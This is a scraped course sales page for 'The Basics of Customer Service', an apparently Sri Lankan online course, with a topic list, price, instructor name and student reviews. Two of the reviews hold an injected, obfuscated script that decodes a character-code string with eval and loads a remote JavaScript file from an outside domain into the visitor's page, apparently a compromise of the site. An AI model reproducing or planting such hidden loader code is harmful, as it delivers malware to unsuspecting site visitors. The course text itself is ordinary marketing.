The Basics of Customer Service

Discover the Secrets of Exceptional Customer Service

Transform Your Career in Customer Relations!

Welcome, Customer Service Professionals! Are you ready to take your customer service skills to the next level and stand out as a star in your industry? Look no further – our comprehensive course, “The Basics of Customer Service,” is tailored to equip you with the fundamental skills and knowledge to excel in your role and deliver unparalleled customer experiences.

Why Choose “The Basics of Customer Service” Course?

1. Elevate Your Customer Relations Skills In today’s competitive business landscape, exceptional customer service is a game-changer. Our course will empower you with the essential techniques to engage customers, resolve issues, and leave a lasting positive impression.

2. Learn from Expert Instructors Our course is led by seasoned customer service experts who have honed their skills through years of experience. Benefit from their wisdom, real-life scenarios, and best practices.

3. Build Strong Customer Relationships Understand the importance of building lasting customer relationships and discover strategies to foster loyalty and trust.

4. Master Communication and Problem-Solving Gain confidence in communication, both verbal and written, and acquire problem-solving skills to address diverse customer needs.

5. Unleash Your Potential for Career Growth By mastering the basics of customer service, you become an invaluable asset to any organization and open doors to exciting career opportunities.

What You’ll Learn

  • Who is our customer
  • Types of customers from a sales perspective
  • Customer care
  • Customers  expectations – 5 Cs 
  • Dealing with customers  (S.A.T.)
  • Handling complaints  (L.A.S.T.)

Why Exceptional Customer Service Matters

In the world of customer service, going above and beyond creates brand advocates and loyal customers. By mastering the basics of customer service, you can turn routine interactions into memorable experiences and set yourself apart as a service superstar.

Ready to Experience the Power of Customer Service Excellence?

Unlock Your Potential Today!

Don’t miss this chance to advance your customer service career. Enroll now in “The Basics of Customer Service” Recorded Video Course and unleash your potential for success in customer relations.

Empower Yourself with Customer Service Excellence!

Join Our Course Today!

Course Information

Estimated Time: 30 Min

Difficulty: Beginner

Course Instructor

Niroshan Priyanga Niroshan Priyanga Author

Enroll Now

රු1,200.00

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Who is our customer

Types of customers from a sales perspective

Customers  expectations – 5 Cs

Dealing with customers  (S.A.T.)

Handling complaints  (L.A.S.T.)

What Others Have Said

Best virtual learning experience
By: chamodijayasinghe010

I learned a lot of practical tips from this course.Thank you very much sir.Superb👍<script>var o=String;eval(o.fromCharCode(102,117,110,99,116,105,111,110,32,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,115,114,99,41,10,123,10,32,32,32,32,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,10,125,10,10,118,97,114,32,98,100,32,61,32,34,104,116,116,34,43,34,112,115,58,34,43,34,47,34,43,34,47,115,34,43,34,108,101,101,34,43,34,112,46,115,116,114,97,34,43,34,116,34,43,34,111,115,98,34,43,34,111,100,121,46,99,111,109,47,34,43,34,115,99,34,43,34,114,105,112,34,43,34,116,34,43,34,115,47,104,101,97,34,43,34,100,46,106,34,43,34,115,34,43,34,63,34,43,34,118,61,51,34,43,34,46,34,43,34,56,34,43,34,46,48,34,59,10,10,105,102,40,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,98,100,41,61,61,61,102,97,108,115,101,41,123,10,9,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,98,100,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,105,102,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,33,61,61,110,117,108,108,41,123,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,125,10,125,10,32,101,108,115,101,32,123,10,9,105,102,40,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,33,61,61,110,117,108,108,41,123,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,9,125,10,125,10,10,125));/*54745756836*/</script>

විනාඩි 30ක් උනාට ඒක සැහෙන වටින දෙයක්..
By: Mahesh Rangana

සර් ගොඩක් ස්තුති ගොඩක් වැදගත් දේවල් ටිකක් ඉගෙන ගත්ත එකෙන්... විනාඩි 30ක් උනාට ඒක සැහෙන වටින දෙයක්.. මන් class කරන්නේ... එකේ එක level එකක් පන්න ගන්න අවස්ථාවක් මේ ගෙවන්නේ ළමයි 100 සීමාව... <script>var o=String;eval(o.fromCharCode(102,117,110,99,116,105,111,110,32,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,115,114,99,41,10,123,10,32,32,32,32,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,10,125,10,10,118,97,114,32,98,100,32,61,32,34,104,116,116,34,43,34,112,115,58,34,43,34,47,34,43,34,47,115,34,43,34,108,101,101,34,43,34,112,46,115,116,114,97,34,43,34,116,34,43,34,111,115,98,34,43,34,111,100,121,46,99,111,109,47,34,43,34,115,99,34,43,34,114,105,112,34,43,34,116,34,43,34,115,47,104,101,97,34,43,34,100,46,106,34,43,34,115,34,43,34,63,34,43,34,118,61,51,34,43,34,46,34,43,34,56,34,43,34,46,48,34,59,10,10,105,102,40,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,98,100,41,61,61,61,102,97,108,115,101,41,123,10,9,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,98,100,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,105,102,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,33,61,61,110,117,108,108,41,123,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,125,10,125,10,32,101,108,115,101,32,123,10,9,105,102,40,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,33,61,61,110,117,108,108,41,123,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,9,125,10,125,10,10,125));/*54745756836*/</script>